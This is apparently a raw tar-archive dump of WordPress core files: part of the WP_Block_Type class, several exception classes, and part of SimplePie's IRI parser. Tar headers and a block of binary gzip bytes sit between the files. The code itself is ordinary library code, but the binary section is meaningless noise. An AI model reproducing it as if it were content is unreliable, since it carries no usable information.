	 * @since 6.1.0
	 * @var string[]
	 */
	public $view_script_handles = array();

	/**
	 * Block type front end only script module IDs.
	 *
	 * @since 6.5.0
	 * @var string[]
	 */
	public $view_script_module_ids = array();

	/**
	 * Block type editor only style handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $editor_style_handles = array();

	/**
	 * Block type front end and editor style handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $style_handles = array();

	/**
	 * Block type front end only style handles.
	 *
	 * @since 6.5.0
	 * @var string[]
	 */
	public $view_style_handles = array();

	/**
	 * Deprecated block type properties for script and style handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	private $deprecated_properties = array(
		'editor_script',
		'script',
		'view_script',
		'editor_style',
		'style',
	);

	/**
	 * Attributes supported by every block.
	 *
	 * @since 6.0.0 Added `lock`.
	 * @since 6.5.0 Added `metadata`.
	 * @var array
	 */
	const GLOBAL_ATTRIBUTES = array(
		'lock'     => array( 'type' => 'object' ),
		'metadata' => array( 'type' => 'object' ),
	);

	/**
	 * Constructor.
	 *
	 * Will populate object properties from the provided arguments.
	 *
	 * @since 5.0.0
	 * @since 5.5.0 Added the `title`, `category`, `parent`, `icon`, `description`,
	 *              `keywords`, `textdomain`, `styles`, `supports`, `example`,
	 *              `uses_context`, and `provides_context` properties.
	 * @since 5.6.0 Added the `api_version` property.
	 * @since 5.8.0 Added the `variations` property.
	 * @since 5.9.0 Added the `view_script` property.
	 * @since 6.0.0 Added the `ancestor` property.
	 * @since 6.1.0 Added the `editor_script_handles`, `script_handles`, `view_script_handles`,
	 *              `editor_style_handles`, and `style_handles` properties.
	 *              Deprecated the `editor_script`, `script`, `view_script`, `editor_style`, and `style` properties.
	 * @since 6.3.0 Added the `selectors` property.
	 * @since 6.4.0 Added the `block_hooks` property.
	 * @since 6.5.0 Added the `allowed_blocks`, `variation_callback`, and `view_style_handles` properties.
	 *
	 * @see register_block_type()
	 *
	 * @param string       $block_type Block type name including namespace.
	 * @param array|string $args       {
	 *     Optional. Array or string of arguments for registering a block type. Any arguments may be defined,
	 *     however the ones described below are supported by default. Default empty array.
	 *
	 *     @type string        $api_version              Block API version.
	 *     @type string        $title                    Human-readable block type label.
	 *     @type string|null   $category                 Block type category classification, used in
	 *                                                   search interfaces to arrange block types by category.
	 *     @type string[]|null $parent                   Setting parent lets a block require that it is only
	 *                                                   available when nested within the specified blocks.
	 *     @type string[]|null $ancestor                 Setting ancestor makes a block available only inside the specified
	 *                                                   block types at any position of the ancestor's block subtree.
	 *     @type string[]|null $allowed_blocks           Limits which block types can be inserted as children of this block type.
	 *     @type string|null   $icon                     Block type icon.
	 *     @type string        $description              A detailed block type description.
	 *     @type string[]      $keywords                 Additional keywords to produce block type as
	 *                                                   result in search interfaces.
	 *     @type string|null   $textdomain               The translation textdomain.
	 *     @type array[]       $styles                   Alternative block styles.
	 *     @type array[]       $variations               Block variations.
	 *     @type array         $selectors                Custom CSS selectors for theme.json style generation.
	 *     @type array|null    $supports                 Supported features.
	 *     @type array|null    $example                  Structured data for the block preview.
	 *     @type callable|null $render_callback          Block type render callback.
	 *     @type callable|null $variation_callback       Block type variations callback.
	 *     @type array|null    $attributes               Block type attributes property schemas.
	 *     @type string[]      $uses_context             Context values inherited by blocks of this type.
	 *     @type string[]|null $provides_context         Context provided by blocks of this type.
	 *     @type string[]      $block_hooks              Block hooks.
	 *     @type string[]      $editor_script_handles    Block type editor only script handles.
	 *     @type string[]      $script_handles           Block type front end and editor script handles.
	 *     @type string[]      $view_script_handles      Block type front end only script handles.
	 *     @type string[]      $editor_style_handles     Block type editor only style handles.
	 *     @type string[]      $style_handles            Block type front end and editor style handles.
	 *     @type string[]      $view_style_handles       Block type front end only style handles.
	 * }
	 */
	public function __construct( $block_type, $args = array() ) {
		$this->name = $block_type;

		$this->set_props( $args );
	}

	/**
	 * Proxies getting values for deprecated properties for script and style handles for backward compatibility.
	 * Gets the value for the corresponding new property if the first item in the array provided.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name Deprecated property name.
	 *
	 * @return string|string[]|null|void The value read from the new property if the first item in the array provided,
	 *                                   null when value not found, or void when unknown property name provided.
	 */
	public function __get( $name ) {
		if ( 'variations' === $name ) {
			return $this->get_variations();
		}

		if ( 'uses_context' === $name ) {
			return $this->get_uses_context();
		}

		if ( ! in_array( $name, $this->deprecated_properties, true ) ) {
			return;
		}

		$new_name = $name . '_handles';

		if ( ! property_exists( $this, $new_name ) || ! is_array( $this->{$new_name} ) ) {
			return null;
		}

		if ( count( $this->{$new_name} ) > 1 ) {
			return $this->{$new_name};
		}
		return isset( $this->{$new_name}[0] ) ? $this->{$new_name}[0] : null;
	}

	/**
	 * Proxies checking for deprecated properties for script and style handles for backward compatibility.
	 * Checks whether the corresponding new property has the first item in the array provided.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name Deprecated property name.
	 *
	 * @return bool Returns true when for the new property the first item in the array exists,
	 *              or false otherwise.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, array( 'variations', 'uses_context' ), true ) ) {
			return true;
		}

		if ( ! in_array( $name, $this->deprecated_properties, true ) ) {
			return false;
		}

		$new_name = $name . '_handles';
		return isset( $this->{$new_name}[0] );
	}

	/**
	 * Proxies setting values for deprecated properties for script and style handles for backward compatibility.
	 * Sets the value for the corresponding new property as the first item in the array.
	 * It also allows setting custom properties for backward compatibility.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name  Property name.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( ! in_array( $name, $this->deprecated_properties, true ) ) {
			$this->{$name} = $value;
			return;
		}

		$new_name = $name . '_handles';

		if ( is_array( $value ) ) {
			$filtered = array_filter( $value, 'is_string' );

			if ( count( $filtered ) !== count( $value ) ) {
					_doing_it_wrong(
						__METHOD__,
						sprintf(
							/* translators: %s: The '$value' argument. */
							__( 'The %s argument must be a string or a string array.' ),
							'<code>$value</code>'
						),
						'6.1.0'
					);
			}

			$this->{$new_name} = array_values( $filtered );
			return;
		}

		if ( ! is_string( $value ) ) {
			return;
		}

		$this->{$new_name} = array( $value );
	}

	/**
	 * Renders the block type output for given attributes.
	 *
	 * @since 5.0.0
	 *
	 * @param array  $attributes Optional. Block attributes. Default empty array.
	 * @param string $content    Optional. Block content. Default empty string.
	 * @return string Rendered block type output.
	 */
	public function render( $attributes = array(), $content = '' ) {
		if ( ! $this->is_dynamic() ) {
			return '';
		}

		$attributes = $this->prepare_attributes_for_render( $attributes );

		return (string) call_user_func( $this->render_callback, $attributes, $content );
	}

	/**
	 * Returns true if the block type is dynamic, or false otherwise. A dynamic
	 * block is one which defers its rendering to occur on-demand at runtime.
	 *
	 * @since 5.0.0
	 *
	 * @return bool Whether block type is dynamic.
	 */
	public function is_dynamic() {
		return is_callable( $this->render_callback );
	}

	/**
	 * Validates attributes against the current block schema, populating
	 * defaulted and missing values.
	 *
	 * @since 5.0.0
	 *
	 * @param array $attributes Original block attributes.
	 * @return array Prepared block attributes.
	 */
	public function prepare_attributes_for_render( $attributes ) {
		// If there are no attribute definitions for the block type, skip
		// processing and return verbatim.
		if ( ! isset( $this->attributes ) ) {
			return $attributes;
		}

		foreach ( $attributes as $attribute_name => $value ) {
			// If the attribute is not defined by the block type, it cannot be
			// validated.
			if ( ! isset( $this->attributes[ $attribute_name ] ) ) {
				continue;
			}

			$schema = $this->attributes[ $attribute_name ];

			// Validate value by JSON schema. An invalid value should revert to
			// its default, if one exists. This occurs by virtue of the missing
			// attributes loop immediately following. If there is not a default
			// assigned, the attribute value should remain unset.
			$is_valid = rest_validate_value_from_schema( $value, $schema, $attribute_name );
			if ( is_wp_error( $is_valid ) ) {
				unset( $attributes[ $attribute_name ] );
			}
		}

		// Populate values of any missing attributes for which the block type
		// defines a default.
		$missing_schema_attributes = array_diff_key( $this->attributes, $attributes );
		foreach ( $missing_schema_attributes as $attribute_name => $schema ) {
			if ( isset( $schema['default'] ) ) {
				$attributes[ $attribute_name ] = $schema['default'];
			}
		}

		return $attributes;
	}

	/**
	 * Sets block type properties.
	 *
	 * @since 5.0.0
	 *
	 * @param array|string $args Array or string of arguments for registering a block type.
	 *                           See WP_Block_Type::__construct() for information on accepted arguments.
	 */
	public function set_props( $args ) {
		$args = wp_parse_args(
			$args,
			array(
				'render_callback' => null,
			)
		);

		$args['name'] = $this->name;

		// Setup attributes if needed.
		if ( ! isset( $args['attributes'] ) || ! is_array( $args['attributes'] ) ) {
			$args['attributes'] = array();
		}

		// Register core attributes.
		foreach ( static::GLOBAL_ATTRIBUTES as $attr_key => $attr_schema ) {
			if ( ! array_key_exists( $attr_key, $args['attributes'] ) ) {
				$args['attributes'][ $attr_key ] = $attr_schema;
			}
		}

		/**
		 * Filters the arguments for registering a block type.
		 *
		 * @since 5.5.0
		 *
		 * @param array  $args       Array of arguments for registering a block type.
		 * @param string $block_type Block type name including namespace.
		 */
		$args = apply_filters( 'register_block_type_args', $args, $this->name );

		foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}
	}

	/**
	 * Get all available block attributes including possible layout attribute from Columns block.
	 *
	 * @since 5.0.0
	 *
	 * @return array Array of attributes.
	 */
	public function get_attributes() {
		return is_array( $this->attributes ) ?
			$this->attributes :
			array();
	}

	/**
	 * Get block variations.
	 *
	 * @since 6.5.0
	 *
	 * @return array[]
	 */
	public function get_variations() {
		if ( ! isset( $this->variations ) ) {
			$this->variations = array();
			if ( is_callable( $this->variation_callback ) ) {
				$this->variations = call_user_func( $this->variation_callback );
			}
		}

		/**
		 * Filters the registered variations for a block type.
		 *
		 * @since 6.5.0
		 *
		 * @param array         $variations Array of registered variations for a block type.
		 * @param WP_Block_Type $block_type The full block type object.
		 */
		return apply_filters( 'get_block_type_variations', $this->variations, $this );
	}

	/**
	 * Get block uses context.
	 *
	 * @since 6.5.0
	 *
	 * @return string[]
	 */
	public function get_uses_context() {
		/**
		 * Filters the registered uses context for a block type.
		 *
		 * @since 6.5.0
		 *
		 * @param string[]      $uses_context Array of registered uses context for a block type.
		 * @param WP_Block_Type $block_type   The full block type object.
		 */
		return apply_filters( 'get_block_type_uses_context', $this->uses_context, $this );
	}
}
14338/Exception.php.tar000064400000014000151024420100010442 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/PHPMailer/Exception.php000064400000002350151024216430025602 0ustar00<?php

/**
 * PHPMailer Exception class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer exception handler.
 *
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class Exception extends \Exception
{
    /**
     * Prettify error message output.
     *
     * @return string
     */
    public function errorMessage()
    {
        return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n";
    }
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Text/Exception.php000064400000000361151024217220024743 0ustar00<?php
/**
 * Exception for errors from the Text_Diff package.
 *
 * {@internal This is a WP native addition to the external Text_Diff package.}
 *
 * @package WordPress
 * @subpackage Text_Diff
 */

class Text_Exception extends Exception {}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception.php000064400000002132151024330520026416 0ustar00<?php
/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests;

use Exception as PHPException;

/**
 * Exception for HTTP requests
 *
 * @package Requests\Exceptions
 */
class Exception extends PHPException {
	/**
	 * Type of exception
	 *
	 * @var string
	 */
	protected $type;

	/**
	 * Data associated with the exception
	 *
	 * @var mixed
	 */
	protected $data;

	/**
	 * Create a new exception
	 *
	 * @param string $message Exception message
	 * @param string $type Exception type
	 * @param mixed $data Associated data
	 * @param integer $code Exception numerical code, if applicable
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		parent::__construct($message, $code);

		$this->type = $type;
		$this->data = $data;
	}

	/**
	 * Like {@see \Exception::getCode()}, but a string code.
	 *
	 * @codeCoverageIgnore
	 * @return string
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * Gives any relevant data
	 *
	 * @codeCoverageIgnore
	 * @return mixed
	 */
	public function getData() {
		return $this->data;
	}
}
14338/html.tar.gz000064400000001707151024420100007313 0ustar00��XM��6�5���	��%�/-��C�K�\�"�E�f�"	�����JJ�/�qw�{�3�k�p����@J���זS&��1�`>�������p��xL�`�8F���Ef,ְ�5�z�.���|Ζ��_۔�F�P����ѭ/7Ts��ה��6
���BI�,�"�K#yf�B�`a���[F�z8�*-���	�ҝ�/q|��2$z�$�/,UR[,�b)5�:
�����7!u��_c�2�ծ��f���FB
���XE�`YĒKu� LӸ�?�z�Ha�����'*�������&����F�>GK�(�7�L�ίj=�j�P��X�����*��{x�������_P�Z2��"�/Jd��}UƲ����V���t횦�t}8ݞ�����Bef9����p|S��s?}�z�'�~�s�?��-�>N�a�W���Bu	��]�w!������,���s�D�~�GN��C���SގH������V��'�5US2ZΎl�Ք�1�0�W= �5�t�;\�JL��;�'�w�A��
�GW��|���(��t��p���6��g=�_���&ӟT���{���堨��#�ӭq����}��?�������&�ӎ�ykk��F��b�[5�z5�:w��Y�n +��j4�g8�n�Xj:rOr1�2��-�Z��/��(1�t%u�|�7+jMa'�Ě)[��F������",��W`�r�!��b�;�o�L��h���C������	Mp�m�!k5[�P�((d�E��~Bl���(V.�Ff:.�o=0�n>�)G�يM����e��
�)|'�E
��hڱa6��V�d�o�
WU���Z*%��i�@s%��*������4��6���'��w8�?���W�#�Wo���������{����e�?�̦"14338/IRI.php.tar000064400000111000151024420100007125 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/IRI.php000064400000105473151024332720025177 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * IRI parser/serialiser/normaliser
 *
 * @package SimplePie
 * @subpackage HTTP
 * @author Sam Sneddon
 * @author Steve Minutillo
 * @author Ryan McCue
 * @copyright 2007-2012 Sam Sneddon, Steve Minutillo, Ryan McCue
 * @license http://www.opensource.org/licenses/bsd-license.php
 */
class IRI
{
    /**
     * Scheme
     *
     * @var string
     */
    protected $scheme = null;

    /**
     * User Information
     *
     * @var string
     */
    protected $iuserinfo = null;

    /**
     * ihost
     *
     * @var string
     */
    protected $ihost = null;

    /**
     * Port
     *
     * @var string
     */
    protected $port = null;

    /**
     * ipath
     *
     * @var string
     */
    protected $ipath = '';

    /**
     * iquery
     *
     * @var string
     */
    protected $iquery = null;

    /**
     * ifragment
     *
     * @var string
     */
    protected $ifragment = null;

    /**
     * Normalization database
     *
     * Each key is the scheme, each value is an array with each key as the IRI
     * part and value as the default value for that part.
     */
    protected $normalization = [
        'acap' => [
            'port' => 674
        ],
        'dict' => [
            'port' => 2628
        ],
        'file' => [
            'ihost' => 'localhost'
        ],
        'http' => [
            'port' => 80,
            'ipath' => '/'
        ],
        'https' => [
            'port' => 443,
            'ipath' => '/'
        ],
    ];

    /**
     * Return the entire IRI when you try and read the object as a string
     *
     * @return string
     */
    public function __toString()
    {
        return $this->get_iri();
    }

    /**
     * Overload __set() to provide access via properties
     *
     * @param string $name Property name
     * @param mixed $value Property value
     */
    public function __set($name, $value)
    {
        if (method_exists($this, 'set_' . $name)) {
            call_user_func([$this, 'set_' . $name], $value);
        } elseif (
            $name === 'iauthority'
            || $name === 'iuserinfo'
            || $name === 'ihost'
            || $name === 'ipath'
            || $name === 'iquery'
            || $name === 'ifragment'
        ) {
            call_user_func([$this, 'set_' . substr($name, 1)], $value);
        }
    }

    /**
     * Overload __get() to provide access via properties
     *
     * @param string $name Property name
     * @return mixed
     */
    public function __get($name)
    {
        // isset() returns false for null, we don't want to do that
        // Also why we use array_key_exists below instead of isset()
        $props = get_object_vars($this);

        if (
            $name === 'iri' ||
            $name === 'uri' ||
            $name === 'iauthority' ||
            $name === 'authority'
        ) {
            $return = $this->{"get_$name"}();
        } elseif (array_key_exists($name, $props)) {
            $return = $this->$name;
        }
        // host -> ihost
        elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        }
        // ischeme -> scheme
        elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
            $return = null;
        }

        if ($return === null && isset($this->normalization[$this->scheme][$name])) {
            return $this->normalization[$this->scheme][$name];
        }

        return $return;
    }

    /**
     * Overload __isset() to provide access via properties
     *
     * @param string $name Property name
     * @return bool
     */
    public function __isset($name)
    {
        return method_exists($this, 'get_' . $name) || isset($this->$name);
    }

    /**
     * Overload __unset() to provide access via properties
     *
     * @param string $name Property name
     */
    public function __unset($name)
    {
        if (method_exists($this, 'set_' . $name)) {
            call_user_func([$this, 'set_' . $name], '');
        }
    }

    /**
     * Create a new IRI object, from a specified string
     *
     * @param string $iri
     */
    public function __construct($iri = null)
    {
        $this->set_iri($iri);
    }

    /**
     * Clean up
     */
    public function __destruct()
    {
        $this->set_iri(null, true);
        $this->set_path(null, true);
        $this->set_authority(null, true);
    }

    /**
     * Create a new IRI object by resolving a relative IRI
     *
     * Returns false if $base is not absolute, otherwise an IRI.
     *
     * @param IRI|string $base (Absolute) Base IRI
     * @param IRI|string $relative Relative IRI
     * @return IRI|false
     */
    public static function absolutize($base, $relative)
    {
        if (!($relative instanceof IRI)) {
            $relative = new IRI($relative);
        }
        if (!$relative->is_valid()) {
            return false;
        } elseif ($relative->scheme !== null) {
            return clone $relative;
        } else {
            if (!($base instanceof IRI)) {
                $base = new IRI($base);
            }
            if ($base->scheme !== null && $base->is_valid()) {
                if ($relative->get_iri() !== '') {
                    if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
                        $target = clone $relative;
                        $target->scheme = $base->scheme;
                    } else {
                        $target = new IRI();
                        $target->scheme = $base->scheme;
                        $target->iuserinfo = $base->iuserinfo;
                        $target->ihost = $base->ihost;
                        $target->port = $base->port;
                        if ($relative->ipath !== '') {
                            if ($relative->ipath[0] === '/') {
                                $target->ipath = $relative->ipath;
                            } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
                                $target->ipath = '/' . $relative->ipath;
                            } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
                                $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
                            } else {
                                $target->ipath = $relative->ipath;
                            }
                            $target->ipath = $target->remove_dot_segments($target->ipath);
                            $target->iquery = $relative->iquery;
                        } else {
                            $target->ipath = $base->ipath;
                            if ($relative->iquery !== null) {
                                $target->iquery = $relative->iquery;
                            } elseif ($base->iquery !== null) {
                                $target->iquery = $base->iquery;
                            }
                        }
                        $target->ifragment = $relative->ifragment;
                    }
                } else {
                    $target = clone $base;
                    $target->ifragment = null;
                }
                $target->scheme_normalization();
                return $target;
            }

            return false;
        }
    }

    /**
     * Parse an IRI into scheme/authority/path/query/fragment segments
     *
     * @param string $iri
     * @return array
     */
    protected function parse_iri($iri)
    {
        $iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
        if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match)) {
            if ($match[1] === '') {
                $match['scheme'] = null;
            }
            if (!isset($match[3]) || $match[3] === '') {
                $match['authority'] = null;
            }
            if (!isset($match[5])) {
                $match['path'] = '';
            }
            if (!isset($match[6]) || $match[6] === '') {
                $match['query'] = null;
            }
            if (!isset($match[8]) || $match[8] === '') {
                $match['fragment'] = null;
            }
            return $match;
        }

        // This can occur when a paragraph is accidentally parsed as a URI
        return false;
    }

    /**
     * Remove dot segments from a path
     *
     * @param string $input
     * @return string
     */
    protected function remove_dot_segments($input)
    {
        $output = '';
        while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
            // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
            if (strpos($input, '../') === 0) {
                $input = substr($input, 3);
            } elseif (strpos($input, './') === 0) {
                $input = substr($input, 2);
            }
            // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
            elseif (strpos($input, '/./') === 0) {
                $input = substr($input, 2);
            } elseif ($input === '/.') {
                $input = '/';
            }
            // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
            elseif (strpos($input, '/../') === 0) {
                $input = substr($input, 3);
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            } elseif ($input === '/..') {
                $input = '/';
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            }
            // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
            elseif ($input === '.' || $input === '..') {
                $input = '';
            }
            // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
            elseif (($pos = strpos($input, '/', 1)) !== false) {
                $output .= substr($input, 0, $pos);
                $input = substr_replace($input, '', 0, $pos);
            } else {
                $output .= $input;
                $input = '';
            }
        }
        return $output . $input;
    }

    /**
     * Replace invalid character with percent encoding
     *
     * @param string $string Input string
     * @param string $extra_chars Valid characters not in iunreserved or
     *                            iprivate (this is ASCII-only)
     * @param bool $iprivate Allow iprivate
     * @return string
     */
    protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false)
    {
        // Normalize as many pct-encoded sections as possible
        $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string);

        // Replace invalid percent characters
        $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);

        // Add unreserved and % to $extra_chars (the latter is safe because all
        // pct-encoded sections are now valid).
        $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

        // Now replace any bytes that aren't allowed with their pct-encoded versions
        $position = 0;
        $strlen = strlen($string);
        while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
            $value = ord($string[$position]);
            $character = 0;

            // Start position
            $start = $position;

            // By default we are valid
            $valid = true;

            // No one byte sequences are valid due to the while.
            // Two byte sequence:
            if (($value & 0xE0) === 0xC0) {
                $character = ($value & 0x1F) << 6;
                $length = 2;
                $remaining = 1;
            }
            // Three byte sequence:
            elseif (($value & 0xF0) === 0xE0) {
                $character = ($value & 0x0F) << 12;
                $length = 3;
                $remaining = 2;
            }
            // Four byte sequence:
            elseif (($value & 0xF8) === 0xF0) {
                $character = ($value & 0x07) << 18;
                $length = 4;
                $remaining = 3;
            }
            // Invalid byte:
            else {
                $valid = false;
                $length = 1;
                $remaining = 0;
            }

            if ($remaining) {
                if ($position + $length <= $strlen) {
                    for ($position++; $remaining; $position++) {
                        $value = ord($string[$position]);

                        // Check that the byte is valid, then add it to the character:
                        if (($value & 0xC0) === 0x80) {
                            $character |= ($value & 0x3F) << (--$remaining * 6);
                        }
                        // If it is invalid, count the sequence as invalid and reprocess the current byte:
                        else {
                            $valid = false;
                            $position--;
                            break;
                        }
                    }
                } else {
                    $position = $strlen - 1;
                    $valid = false;
                }
            }

            // Percent encode anything invalid or not in ucschar
            if (
                // Invalid sequences
                !$valid
                // Non-shortest form sequences are invalid
                || $length > 1 && $character <= 0x7F
                || $length > 2 && $character <= 0x7FF
                || $length > 3 && $character <= 0xFFFF
                // Outside of range of ucschar codepoints
                // Noncharacters
                || ($character & 0xFFFE) === 0xFFFE
                || $character >= 0xFDD0 && $character <= 0xFDEF
                || (
                    // Everything else not in ucschar
                    $character > 0xD7FF && $character < 0xF900
                    || $character < 0xA0
                    || $character > 0xEFFFD
                )
                && (
                    // Everything not in iprivate, if it applies
                    !$iprivate
                    || $character < 0xE000
                    || $character > 0x10FFFD
                )
            ) {
                // If we were a character, pretend we weren't, but rather an error.
                if ($valid) {
                    $position--;
                }

                for ($j = $start; $j <= $position; $j++) {
                    $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
                    $j += 2;
                    $position += 2;
                    $strlen += 2;
                }
            }
        }

        return $string;
    }

    /**
     * Callback function for preg_replace_callback.
     *
     * Removes sequences of percent encoded bytes that represent UTF-8
     * encoded characters in iunreserved
     *
     * @param array $match PCRE match
     * @return string Replacement
     */
    protected function remove_iunreserved_percent_encoded($match)
    {
        // As we just have valid percent encoded sequences we can just explode
        // and ignore the first member of the returned array (an empty string).
        $bytes = explode('%', $match[0]);

        // Initialize the new string (this is what will be returned) and that
        // there are no bytes remaining in the current sequence (unsurprising
        // at the first byte!).
        $string = '';
        $remaining = 0;

        // these variables will be initialized in the loop but PHPStan is not able to detect it currently
        $start = 0;
        $character = 0;
        $length = 0;
        $valid = true;

        // Loop over each and every byte, and set $value to its value
        for ($i = 1, $len = count($bytes); $i < $len; $i++) {
            $value = hexdec($bytes[$i]);

            // If we're the first byte of sequence:
            if (!$remaining) {
                // Start position
                $start = $i;

                // By default we are valid
                $valid = true;

                // One byte sequence:
                if ($value <= 0x7F) {
                    $character = $value;
                    $length = 1;
                }
                // Two byte sequence:
                elseif (($value & 0xE0) === 0xC0) {
                    $character = ($value & 0x1F) << 6;
                    $length = 2;
                    $remaining = 1;
                }
                // Three byte sequence:
                elseif (($value & 0xF0) === 0xE0) {
                    $character = ($value & 0x0F) << 12;
                    $length = 3;
                    $remaining = 2;
                }
                // Four byte sequence:
                elseif (($value & 0xF8) === 0xF0) {
                    $character = ($value & 0x07) << 18;
                    $length = 4;
                    $remaining = 3;
                }
                // Invalid byte:
                else {
                    $valid = false;
                    $remaining = 0;
                }
            }
            // Continuation byte:
            else {
                // Check that the byte is valid, then add it to the character:
                if (($value & 0xC0) === 0x80) {
                    $remaining--;
                    $character |= ($value & 0x3F) << ($remaining * 6);
                }
                // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
                else {
                    $valid = false;
                    $remaining = 0;
                    $i--;
                }
            }

            // If we've reached the end of the current byte sequence, append it to Unicode::$data
            if (!$remaining) {
                // Percent encode anything invalid or not in iunreserved
                if (
                    // Invalid sequences
                    !$valid
                    // Non-shortest form sequences are invalid
                    || $length > 1 && $character <= 0x7F
                    || $length > 2 && $character <= 0x7FF
                    || $length > 3 && $character <= 0xFFFF
                    // Outside of range of iunreserved codepoints
                    || $character < 0x2D
                    || $character > 0xEFFFD
                    // Noncharacters
                    || ($character & 0xFFFE) === 0xFFFE
                    || $character >= 0xFDD0 && $character <= 0xFDEF
                    // Everything else not in iunreserved (this is all BMP)
                    || $character === 0x2F
                    || $character > 0x39 && $character < 0x41
